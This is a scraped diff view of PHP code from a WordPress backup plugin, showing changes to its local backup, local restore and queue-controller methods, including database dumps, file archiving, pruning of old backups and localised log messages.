$this->name = $name;
|
30 |
-
|
31 |
|
32 |
// folder for backup
|
33 |
-
$this->dir =
|
34 |
-
|
35 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
36 |
}
|
37 |
public function getResult()
|
38 |
{
|
@@ -41,161 +68,200 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
|
|
41 |
|
42 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
43 |
$this->result->setError('');
|
44 |
-
|
45 |
-
WPAdm_Core::log('Start Backup process...');
|
46 |
|
47 |
# create db dump
|
48 |
if (in_array('db', $this->params['types']) ) {
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
56 |
|
57 |
-
// Table Optimization
|
58 |
-
if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
|
59 |
-
WPAdm_Core::log('Optimize Database Tables');
|
60 |
$commandContext = new WPAdm_Command_Context();
|
61 |
-
$commandContext ->addParam('command','
|
62 |
->addParam('host', $wp_mysql_params['host'])
|
63 |
->addParam('db', $wp_mysql_params['db'])
|
64 |
->addParam('user', $wp_mysql_params['user'])
|
65 |
-
->addParam('password', $wp_mysql_params['password'])
|
66 |
-
|
67 |
-
->
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
68 |
unset($commandContext);
|
|
|
69 |
}
|
70 |
-
// Creating of Database Backup
|
71 |
-
$commandContext = new WPAdm_Command_Context();
|
72 |
-
$commandContext ->addParam('command','mysqldump')
|
73 |
-
->addParam('host', $wp_mysql_params['host'])
|
74 |
-
->addParam('db', $wp_mysql_params['db'])
|
75 |
-
->addParam('user', $wp_mysql_params['user'])
|
76 |
-
->addParam('password', $wp_mysql_params['password'])
|
77 |
-
->addParam('tables', '')
|
78 |
-
->addParam('to_file', $mysql_dump_file);
|
79 |
-
$res = $this->queue->add($commandContext)
|
80 |
-
->save()
|
81 |
-
->execute();
|
82 |
-
if (!$res) {
|
83 |
-
WPAdm_Core::log('Error: Dump of Database wasn\'t created('.$this->queue->getError().')');
|
84 |
-
$errors[] = 'MySQL Error: '.$this->queue->getError();
|
85 |
-
} elseif (0 == (int)filesize($mysql_dump_file)) {
|
86 |
-
$errors[] = 'MySQL Error: Database-Dump File is empty';
|
87 |
-
WPAdm_Core::log('Dump of Database wasn\'t created (File of Database-Dump is empty!)');
|
88 |
-
} else {
|
89 |
-
WPAdm_Core::log('Database Dump was successfully created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
|
90 |
-
}
|
91 |
-
unset($commandContext);
|
92 |
}
|
93 |
|
94 |
-
|
95 |
-
|
96 |
-
|
97 |
-
|
98 |
-
|
99 |
-
|
100 |
-
|
101 |
-
}
|
102 |
-
|
103 |
-
if (empty($files)) {
|
104 |
-
$errors[] = 'Error: the list of Backup files is empty';
|
105 |
-
}
|
106 |
-
|
107 |
-
// split the file list by 170kbayt lists, To break one big task into smaller
|
108 |
-
$files2 = array();
|
109 |
-
$files2[0] = array();
|
110 |
-
$i = 0;
|
111 |
-
$size = 0;
|
112 |
-
foreach($files as $f) {
|
113 |
-
if ($size > 170000) {//~170kbyte
|
114 |
-
$i ++;
|
115 |
-
$size = 0;
|
116 |
-
$files2[$i] = array();
|
117 |
}
|
118 |
-
$
|
119 |
-
|
120 |
-
WPAdm_Core::log('File '. $f .' Size ' . $f_size);
|
121 |
}
|
122 |
-
$size += $f_size;
|
123 |
-
$files2[$i][] = $f;
|
124 |
-
}
|
125 |
-
|
126 |
-
WPAdm_Core::log('List of Backup-Files was successfully created');
|
127 |
|
128 |
-
|
129 |
-
|
130 |
-
|
131 |
-
$commandContext = new WPAdm_Command_Context();
|
132 |
-
$commandContext ->addParam('command', 'archive')
|
133 |
-
->addParam('files', $files)
|
134 |
-
->addParam('to_file', $this->dir . '/'.$this->name)
|
135 |
-
->addParam('max_file_size', 900000)
|
136 |
-
->addParam('remove_path', ABSPATH);
|
137 |
|
138 |
-
|
139 |
-
|
140 |
-
|
141 |
-
WPAdm_Core::log('Backup of Files was started');
|
142 |
-
$this->queue->save()
|
143 |
-
->execute();
|
144 |
-
WPAdm_Core::log('End of File Backup');
|
145 |
-
|
146 |
-
$files = glob($this->dir . '/'.$this->name . '*');
|
147 |
-
$urls = array();
|
148 |
-
$totalSize = 0;
|
149 |
-
foreach($files as $file) {
|
150 |
-
$urls[] = str_replace(ABSPATH, '', $file);
|
151 |
-
$totalSize += @intval( filesize($file) );
|
152 |
-
}
|
153 |
-
$this->result->setData($urls);
|
154 |
-
$this->result->setSize($totalSize);
|
155 |
-
$size = $totalSize / 1024 / 1024; /// MByte
|
156 |
-
$size = round($size, 2);
|
157 |
-
WPAdm_Core::log('Backup Size ' . $size . " Mb");
|
158 |
-
|
159 |
-
$remove_from_server = 0;
|
160 |
-
#Removing TMP-files
|
161 |
-
WPAdm_Core::rmdir(ABSPATH . 'wpadm_backup');
|
162 |
-
|
163 |
-
#Removind old backups(if limit the number of stored backups)
|
164 |
-
if ($this->params['limit'] != 0) {
|
165 |
-
WPAdm_Core::log('Limits of Backups ' . $this->params['limit']);
|
166 |
-
WPAdm_Core::log('Removing of old Backups was started');
|
167 |
-
$files = glob(ABSPATH . 'wpadm_backups/*');
|
168 |
-
if (count($files) > $this->params['limit']) {
|
169 |
$files2 = array();
|
|
|
|
|
|
|
170 |
foreach($files as $f) {
|
171 |
-
$
|
172 |
-
|
173 |
-
|
|
|
|
|
|
|
|
|
|
|
174 |
}
|
175 |
-
$
|
|
|
|
|
|
|
|
|
|
|
176 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
177 |
}
|
178 |
-
|
179 |
-
$
|
180 |
-
|
181 |
-
|
182 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
183 |
}
|
|
|
184 |
}
|
185 |
-
WPAdm_Core::log('Removing of old Backups was Finished');
|
186 |
}
|
|
|
187 |
if (!empty($errors)) {
|
188 |
$this->result->setError(implode("\n", $errors));
|
189 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
|
|
|
|
|
|
190 |
} else {
|
191 |
-
|
|
|
192 |
}
|
|
|
193 |
|
194 |
return $this->result;
|
195 |
|
196 |
}
|
197 |
-
|
198 |
-
|
199 |
$folders = array();
|
200 |
$files = array();
|
201 |
|
@@ -229,7 +295,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
|
|
229 |
$v = str_replace(ABSPATH , '', $v);
|
230 |
if (in_array($v, $minus_path)) {
|
231 |
unset($files[$k]);
|
232 |
-
WPAdm_Core::log('Skip of File ' . $v);
|
233 |
}
|
234 |
}
|
235 |
}
|
@@ -280,7 +346,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
|
|
280 |
if (isset($this->params['minus-path'])) {
|
281 |
$minus_path = explode(",", $this->params['minus-path']);
|
282 |
if (in_array($d, $minus_path) ) {
|
283 |
-
WPAdm_Core::log('Skip of Folder ' . $directory);
|
284 |
return array();
|
285 |
}
|
286 |
} else {
|
@@ -292,8 +358,11 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
|
|
292 |
$d1 = mb_strtolower($tmp[0]);
|
293 |
unset($tmp[0]);
|
294 |
$d2 = mb_strtolower(implode('/', $tmp));
|
295 |
-
if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
|
296 |
-
WPAdm_Core::log('Skip of Cache-Folder ' . $directory);
|
|
|
|
|
|
|
297 |
return array();
|
298 |
}
|
299 |
|
@@ -313,7 +382,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
|
|
313 |
if (!in_array($f, $minus_path)) {
|
314 |
$array_items[] = $ff;
|
315 |
} else {
|
316 |
-
WPAdm_Core::log('Skip of File ' . $ff);
|
317 |
}
|
318 |
}
|
319 |
} else {
|
@@ -325,7 +394,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
|
|
325 |
if (!in_array($f, $minus_path)) {
|
326 |
$array_items[] = $ff;
|
327 |
} else {
|
328 |
-
WPAdm_Core::log('Skip of Folder ' . $ff);
|
329 |
}
|
330 |
}
|
331 |
}
|
3 |
if (!class_exists('WPAdm_Method_Local_Backup')) {
|
4 |
class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
|
5 |
|
6 |
+
private $start = true;
|
7 |
+
|
8 |
public function __construct($params)
|
9 |
{
|
10 |
parent::__construct($params);
|
11 |
$this->init(
|
12 |
array(
|
13 |
+
'id' => uniqid('wpadm_method__local_backup__'),
|
14 |
'stime' => time(),
|
15 |
)
|
16 |
);
|
17 |
+
|
18 |
+
WPAdm_Core::log(langWPADM::get('Create Unique Id ', false) . $this->id);
|
|
|
|
|
|
|
19 |
|
20 |
|
21 |
$name = get_option('siteurl');
|
22 |
|
23 |
$name = str_replace("http://", '', $name);
|
24 |
$name = str_replace("https://", '', $name);
|
25 |
+
$name = preg_replace("|\W|", "_", $name);
|
26 |
+
if (isset($params['time']) && !empty($params['time'])) { // time 1432751372
|
27 |
+
$this->time = date("Y-m-d H:i", $params['time']);
|
28 |
+
$name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i", $params['time']);
|
29 |
+
} else {
|
30 |
+
$this->time = date("Y-m-d H:i"); //23.04.2015 13:45
|
31 |
+
$name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
|
32 |
+
}
|
33 |
$this->name = $name;
|
|
|
34 |
|
35 |
// folder for backup
|
36 |
+
$this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $name;
|
37 |
+
if (($f = $this->checkBackup()) !== false) {
|
38 |
+
$this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $f;
|
39 |
+
}
|
40 |
+
$error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
41 |
+
if (!empty($error)) {
|
42 |
+
$this->result->setError($error);
|
43 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
44 |
+
}
|
45 |
+
$error = WPAdm_Core::mkdir($this->dir);
|
46 |
+
if (!empty($error)) {
|
47 |
+
$this->result->setError($error);
|
48 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
49 |
+
}
|
50 |
+
}
|
51 |
+
public function checkBackup()
|
52 |
+
{
|
53 |
+
if (WPAdm_Running::getCommand('local_backup') !== false) {
|
54 |
+
$archives = glob("{$this->dir}");
|
55 |
+
if (empty($archives) && count($archives) <= 1) {
|
56 |
+
return false;
|
57 |
+
}
|
58 |
+
$n = count($archives);
|
59 |
+
$f = "{$this->name}({$n})";
|
60 |
+
return $f;
|
61 |
+
}
|
62 |
+
return false;
|
63 |
}
|
64 |
public function getResult()
|
65 |
{
|
68 |
|
69 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
70 |
$this->result->setError('');
|
71 |
+
WPAdm_Core::log(langWPADM::get('Start Backup process...', false));
|
|
|
72 |
|
73 |
# create db dump
|
74 |
if (in_array('db', $this->params['types']) ) {
|
75 |
+
$mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
|
76 |
+
if ( !WPAdm_Running::getCommandResult('db') ) {
|
77 |
+
WPAdm_Running::setCommandResult('db');
|
78 |
+
WPAdm_Core::log(langWPADM::get('Creating Database Dump', false));
|
79 |
+
$error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
80 |
+
if (!empty($error)) {
|
81 |
+
$this->result->setError($error);
|
82 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
83 |
+
return $this->result;
|
84 |
+
}
|
85 |
+
if (file_exists($mysql_dump_file) && !file_exists(WPAdm_Core::getTmpDir() . "/db")) {
|
86 |
+
unlink($mysql_dump_file);
|
87 |
+
}
|
88 |
+
$wp_mysql_params = $this->getWpMysqlParams();
|
89 |
+
|
90 |
+
if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
|
91 |
+
$opt_db = WPAdm_Running::getCommandResultData('db', $proc_data);
|
92 |
+
if (!isset($opt_db['optimize'])) {
|
93 |
+
WPAdm_Core::log(langWPADM::get('Optimize Database Tables', false));
|
94 |
+
$commandContext = new WPAdm_Command_Context();
|
95 |
+
$commandContext ->addParam('command','mysqloptimize')
|
96 |
+
->addParam('host', $wp_mysql_params['host'])
|
97 |
+
->addParam('db', $wp_mysql_params['db'])
|
98 |
+
->addParam('user', $wp_mysql_params['user'])
|
99 |
+
->addParam('password', $wp_mysql_params['password']);
|
100 |
+
$this->queue->clear()
|
101 |
+
->add($commandContext);
|
102 |
+
unset($commandContext);
|
103 |
+
}
|
104 |
+
}
|
105 |
|
|
|
|
|
|
|
106 |
$commandContext = new WPAdm_Command_Context();
|
107 |
+
$commandContext ->addParam('command','mysqldump')
|
108 |
->addParam('host', $wp_mysql_params['host'])
|
109 |
->addParam('db', $wp_mysql_params['db'])
|
110 |
->addParam('user', $wp_mysql_params['user'])
|
111 |
+
->addParam('password', $wp_mysql_params['password'])
|
112 |
+
->addParam('tables', '')
|
113 |
+
->addParam('to_file', $mysql_dump_file);
|
114 |
+
$res = $this->queue->add($commandContext)
|
115 |
+
->save()
|
116 |
+
->execute();
|
117 |
+
if (!$res) {
|
118 |
+
$log = langWPADM::get('Website "%domain" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%domain', '%s'), array(SITE_HOME, $this->queue->getError() ) );
|
119 |
+
WPAdm_Core::log($log);
|
120 |
+
$errors[] = $log;
|
121 |
+
} elseif (0 == (int)filesize($mysql_dump_file)) {
|
122 |
+
$log = langWPADM::get('Website "%domain" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%domain', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP));
|
123 |
+
$errors[] = $log;
|
124 |
+
WPAdm_Core::log($log);
|
125 |
+
} else {
|
126 |
+
$size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
|
127 |
+
$log = str_replace("%size", $size_dump , langWPADM::get('Database Dump was successfully created ( %size Mb) : ', false) ) ;
|
128 |
+
WPAdm_Core::log($log . $mysql_dump_file);
|
129 |
+
}
|
130 |
unset($commandContext);
|
131 |
+
WPAdm_Running::setCommandResult('db', true);
|
132 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
133 |
}
|
134 |
|
135 |
+
if (count($errors) == 0) {
|
136 |
+
$command_files_list = WPAdm_Running::getCommandResultData('files');
|
137 |
+
if (in_array('files', $this->params['types']) && empty($command_files_list) ) {
|
138 |
+
$files = $this->createListFilesForArchive();
|
139 |
+
WPAdm_Running::setCommandResultData('files', $files);
|
140 |
+
} else {
|
141 |
+
$files = $command_files_list;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
142 |
}
|
143 |
+
if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
|
144 |
+
$files[] = $mysql_dump_file;
|
|
|
145 |
}
|
|
|
|
|
|
|
|
|
|
|
146 |
|
147 |
+
if (empty($files)) {
|
148 |
+
$errors[] = langWPADM::get( 'Website "%d" returned an error during creation of the list of files for a backup: list of files for a backup is empty. To solve this problem, please check files and folders permissions for website "%d".' , false, array('%d'), array(SITE_HOME));
|
149 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
150 |
|
151 |
+
// split the file list by 170kbayt lists, To break one big task into smaller
|
152 |
+
$files2 = WPAdm_Running::getCommandResultData('files2');
|
153 |
+
if (empty($files2)) {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
154 |
$files2 = array();
|
155 |
+
$files2[0] = array();
|
156 |
+
$i = 0;
|
157 |
+
$size = 0;
|
158 |
foreach($files as $f) {
|
159 |
+
if ($size > 170000) {//~170kbyte
|
160 |
+
$i ++;
|
161 |
+
$size = 0;
|
162 |
+
$files2[$i] = array();
|
163 |
+
}
|
164 |
+
$f_size =(int)@filesize($f);
|
165 |
+
if ($f_size == 0 || $f_size > 1000000) {
|
166 |
+
WPAdm_Core::log('File ' . $f . ' Size ' . $f_size);
|
167 |
}
|
168 |
+
$size += $f_size;
|
169 |
+
$files2[$i][] = $f;
|
170 |
+
}
|
171 |
+
WPAdm_Running::setCommandResultData('files2', $files2);
|
172 |
+
}
|
173 |
+
|
174 |
|
175 |
+
WPAdm_Core::log( langWPADM::get('List of Backup-Files was successfully created', false) );
|
176 |
+
$this->queue->clear();
|
177 |
+
if ( !WPAdm_Running::getCommandResult('archive') ) {
|
178 |
+
WPAdm_Running::setCommandResult('archive');
|
179 |
+
$files_archive = WPAdm_Running::getCommandResultData('archive');
|
180 |
+
foreach($files2 as $files) {
|
181 |
+
$files_str = implode(',', $files);
|
182 |
+
if (!in_array($files_str, $files_archive)) {
|
183 |
+
$commandContext = new WPAdm_Command_Context();
|
184 |
+
$commandContext ->addParam('command', 'archive')
|
185 |
+
->addParam('files', $files)
|
186 |
+
->addParam('to_file', $this->dir . '/' . $this->name)
|
187 |
+
->addParam('max_file_size', 900000)
|
188 |
+
->addParam('remove_path', ABSPATH);
|
189 |
+
|
190 |
+
$this->queue->add($commandContext);
|
191 |
+
unset($commandContext);
|
192 |
+
}
|
193 |
}
|
194 |
+
WPAdm_Core::log( langWPADM::get('Backup of Files was started', false) );
|
195 |
+
$this->queue->save()->execute();
|
196 |
+
WPAdm_Core::log( langWPADM::get('End of File Backup', false) );
|
197 |
+
WPAdm_Running::setCommandResult('archive', true);
|
198 |
+
}
|
199 |
+
$files = glob($this->dir . '/'.$this->name . '*');
|
200 |
+
$urls = array();
|
201 |
+
$totalSize = 0;
|
202 |
+
foreach($files as $file) {
|
203 |
+
$urls[] = str_replace(ABSPATH, '', $file);
|
204 |
+
$totalSize += @intval( filesize($file) );
|
205 |
+
}
|
206 |
+
$this->result->setData($urls);
|
207 |
+
$this->result->setSize($totalSize);
|
208 |
+
$this->result->setValue('md5_data', md5 ( print_r($this->result->toArray(), 1 ) ) );
|
209 |
+
$this->result->setValue('name', $this->name );
|
210 |
+
$this->result->setValue('time', $this->time);
|
211 |
+
$this->result->setValue('type', 'local');
|
212 |
+
$this->result->setValue('counts', count($urls) );
|
213 |
+
$size = $totalSize / 1024 / 1024; /// MByte
|
214 |
+
$size = round($size, 2);
|
215 |
+
$log = str_replace("%s", $size , langWPADM::get('Backup Size %s Mb', false) ) ;
|
216 |
+
WPAdm_Core::log($log);
|
217 |
+
|
218 |
+
$remove_from_server = 0;
|
219 |
+
#Removing TMP-files
|
220 |
+
WPAdm_Core::rmdir($mysql_dump_file);
|
221 |
+
|
222 |
+
#Removind old backups(if limit the number of stored backups)
|
223 |
+
if ($this->params['limit'] != 0) {
|
224 |
+
WPAdm_Core::log( langWPADM::get('Limits of Backups ', false) . $this->params['limit'] );
|
225 |
+
WPAdm_Core::log( langWPADM::get('Removing of old Backups was started', false) );
|
226 |
+
$files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
|
227 |
+
if (count($files) > $this->params['limit']) {
|
228 |
+
$files2 = array();
|
229 |
+
foreach($files as $f) {
|
230 |
+
$fa = explode('-', $f);
|
231 |
+
if (count($fa) != 3) {
|
232 |
+
continue;
|
233 |
+
}
|
234 |
+
$files2[$fa[2]] = $f;
|
235 |
+
|
236 |
+
}
|
237 |
+
ksort($files2);
|
238 |
+
$d = count($files2) - $this->params['limit'];
|
239 |
+
$del = array_slice($files2, 0, $d);
|
240 |
+
foreach($del as $d) {
|
241 |
+
WPAdm_Core::rmdir($d);
|
242 |
+
}
|
243 |
}
|
244 |
+
WPAdm_Core::log( langWPADM::get('Removing of old Backups was Finished', false) );
|
245 |
}
|
|
|
246 |
}
|
247 |
+
wpadm_class::setBackup(1);
|
248 |
if (!empty($errors)) {
|
249 |
$this->result->setError(implode("\n", $errors));
|
250 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
251 |
+
WPAdm_Core::rmdir($this->dir);
|
252 |
+
wpadm_class::setStatus(0);
|
253 |
+
wpadm_class::setErrors( implode(", ", $errors) );
|
254 |
} else {
|
255 |
+
wpadm_class::setStatus(1);
|
256 |
+
WPAdm_Core::log( langWPADM::get('Backup creation was complete successfully!', false) );
|
257 |
}
|
258 |
+
wpadm_class::backupSend();
|
259 |
|
260 |
return $this->result;
|
261 |
|
262 |
}
|
263 |
+
public function createListFilesForArchive()
|
264 |
+
{
|
265 |
$folders = array();
|
266 |
$files = array();
|
267 |
|
295 |
$v = str_replace(ABSPATH , '', $v);
|
296 |
if (in_array($v, $minus_path)) {
|
297 |
unset($files[$k]);
|
298 |
+
WPAdm_Core::log( langWPADM::get('Skip of File ', false) . $v);
|
299 |
}
|
300 |
}
|
301 |
}
|
346 |
if (isset($this->params['minus-path'])) {
|
347 |
$minus_path = explode(",", $this->params['minus-path']);
|
348 |
if (in_array($d, $minus_path) ) {
|
349 |
+
WPAdm_Core::log(langWPADM::get('Skip of Folder ', false) . $directory);
|
350 |
return array();
|
351 |
}
|
352 |
} else {
|
358 |
$d1 = mb_strtolower($tmp[0]);
|
359 |
unset($tmp[0]);
|
360 |
$d2 = mb_strtolower(implode('/', $tmp));
|
361 |
+
if (strpos($d2, 'cache') !== false && isset($tmp[0]) && !in_array($tmp[0], array('plugins', 'themes')) ) {
|
362 |
+
WPAdm_Core::log(langWPADM::get('Skip of Cache-Folder ', false) . $directory);
|
363 |
+
return array();
|
364 |
+
}
|
365 |
+
if(strpos($directory, 'wpadm_backups') !== false || strpos($directory, 'Dropbox_Backup') !== false) {
|
366 |
return array();
|
367 |
}
|
368 |
|
382 |
if (!in_array($f, $minus_path)) {
|
383 |
$array_items[] = $ff;
|
384 |
} else {
|
385 |
+
WPAdm_Core::log(langWPADM::get('Skip of File ', false) . $ff);
|
386 |
}
|
387 |
}
|
388 |
} else {
|
394 |
if (!in_array($f, $minus_path)) {
|
395 |
$array_items[] = $ff;
|
396 |
} else {
|
397 |
+
WPAdm_Core::log( langWPADM::get('Skip of Folder ', false) . $ff);
|
398 |
}
|
399 |
}
|
400 |
}
|
methods/class-wpadm-method-local-restore.php
CHANGED
@@ -25,7 +25,7 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
|
|
25 |
if (file_exists($file_log)) {
|
26 |
unlink($file_log);
|
27 |
}
|
28 |
-
WPAdm_Core::log('Create Unique Id '. $this->id);
|
29 |
if (count($this->files_resotre) > 0) {
|
30 |
$this->restore = true;
|
31 |
}
|
@@ -33,27 +33,42 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
|
|
33 |
}
|
34 |
private function getFiles()
|
35 |
{
|
|
|
36 |
if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
|
37 |
-
$
|
38 |
-
if (
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
48 |
}
|
49 |
}
|
50 |
-
return true;
|
51 |
}
|
52 |
-
|
53 |
-
|
54 |
-
$this->setError('Error: folder is not exist (' . $this->params['name_backup'] . ')');
|
55 |
return false;
|
56 |
-
|
57 |
}
|
58 |
private function setError($errors)
|
59 |
{
|
@@ -72,11 +87,9 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
|
|
72 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
73 |
$this->result->setError('');
|
74 |
|
75 |
-
WPAdm_Core::log('Start Restore process');
|
76 |
$n = count($this->md5_info);
|
77 |
-
|
78 |
-
|
79 |
-
}
|
80 |
if (in_array('files', $this->params['types']) ) {
|
81 |
foreach($this->files_resotre as $key => $file) {
|
82 |
if (file_exists($file)) {
|
@@ -108,16 +121,22 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
|
|
108 |
->add($commandContext)->save()
|
109 |
->execute();
|
110 |
unset($commandContext);
|
|
|
|
|
|
|
111 |
} else {
|
112 |
-
$
|
113 |
-
|
|
|
114 |
break;
|
115 |
}
|
116 |
}
|
117 |
}
|
118 |
}
|
119 |
} else {
|
120 |
-
WPAdm_Core::log(
|
|
|
|
|
121 |
}
|
122 |
return $this->result;
|
123 |
}
|
25 |
if (file_exists($file_log)) {
|
26 |
unlink($file_log);
|
27 |
}
|
28 |
+
WPAdm_Core::log(langWPADM::get('Create Unique Id ', false) . $this->id);
|
29 |
if (count($this->files_resotre) > 0) {
|
30 |
$this->restore = true;
|
31 |
}
|
33 |
}
|
34 |
private function getFiles()
|
35 |
{
|
36 |
+
$res = false;
|
37 |
if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
|
38 |
+
$res = self::readFiles( DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name_backup'] );
|
39 |
+
if ($res === false) {
|
40 |
+
$res = self::readFiles(WPADM_DIR_BACKUP . '/' . $this->params['name_backup']);
|
41 |
+
}
|
42 |
+
if ($res === false) {
|
43 |
+
$res = self::readFiles(ABSPATH . WPADM_DIR_NAME . '/' . $this->params['name_backup']);
|
44 |
+
}
|
45 |
+
}
|
46 |
+
if ($res === false) {
|
47 |
+
$str = langWPADM::get('Website "%d" returned an error during backup restoration: Archive of Backup wasn\'t found "%s"', false, array('%d', '%s'), array(SITE_HOME, $this->params['name_backup']) );
|
48 |
+
WPAdm_Core::log($str);
|
49 |
+
$this->setError($str);
|
50 |
+
}
|
51 |
+
return $res;
|
52 |
+
|
53 |
+
}
|
54 |
+
|
55 |
+
private function readFiles($dir_backup)
|
56 |
+
{
|
57 |
+
if (is_dir($dir_backup)) {
|
58 |
+
WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
|
59 |
+
$dir_open = opendir($dir_backup);
|
60 |
+
while($d = readdir($dir_open)) {
|
61 |
+
if ($d != "." && $d != '..') {
|
62 |
+
if(strpos($d, ".md5") !== false) {
|
63 |
+
$this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
|
64 |
+
} elseif(strpos($d, ".zip") !== false) {
|
65 |
+
$this->files_resotre[$d] = $dir_backup . "/$d";
|
66 |
}
|
67 |
}
|
|
|
68 |
}
|
69 |
+
return true;
|
70 |
+
}
|
|
|
71 |
return false;
|
|
|
72 |
}
|
73 |
private function setError($errors)
|
74 |
{
|
87 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
88 |
$this->result->setError('');
|
89 |
|
90 |
+
WPAdm_Core::log(langWPADM::get('Start Restore process', false));
|
91 |
$n = count($this->md5_info);
|
92 |
+
|
|
|
|
|
93 |
if (in_array('files', $this->params['types']) ) {
|
94 |
foreach($this->files_resotre as $key => $file) {
|
95 |
if (file_exists($file)) {
|
121 |
->add($commandContext)->save()
|
122 |
->execute();
|
123 |
unset($commandContext);
|
124 |
+
if (file_exists(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql")) {
|
125 |
+
@unlink(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql");
|
126 |
+
}
|
127 |
} else {
|
128 |
+
$log = langWPADM::get('Website "%d" returned an error during backup restoration: Part Backup is not exist "%s" ', false, array('%d', '%s'), array(SITE_HOME, $data[2]) );
|
129 |
+
$this->setError($log);
|
130 |
+
WPAdm_Core::log($log);
|
131 |
break;
|
132 |
}
|
133 |
}
|
134 |
}
|
135 |
}
|
136 |
} else {
|
137 |
+
WPAdm_Core::log(
|
138 |
+
langWPADM::get('Website "%d" returned an error during restore backup: Files for restore is not exist, check permission your backup data or You can send to us support request using "Help" button on plugin page.', false, array('%d'), array(SITE_HOME) )
|
139 |
+
);
|
140 |
}
|
141 |
return $this->result;
|
142 |
}
|
methods/class-wpadm-method-queue-controller.php
CHANGED
@@ -46,7 +46,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
|
|
46 |
private $id = '';
|
47 |
|
48 |
public function __construct($params) {
|
49 |
-
//WPAdm_Core::log("Запуск очереди. Параметры: " . print_r($params, true));
|
50 |
$this->stime = time();
|
51 |
parent::__construct($params);
|
52 |
$this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
|
@@ -54,9 +53,7 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
|
|
54 |
$this->log("queue-file not exists: {$this->queue_file}");
|
55 |
exit;
|
56 |
}
|
57 |
-
//WPAdm_Core::log('Открываем файл очереди ' . $this->queue_file);
|
58 |
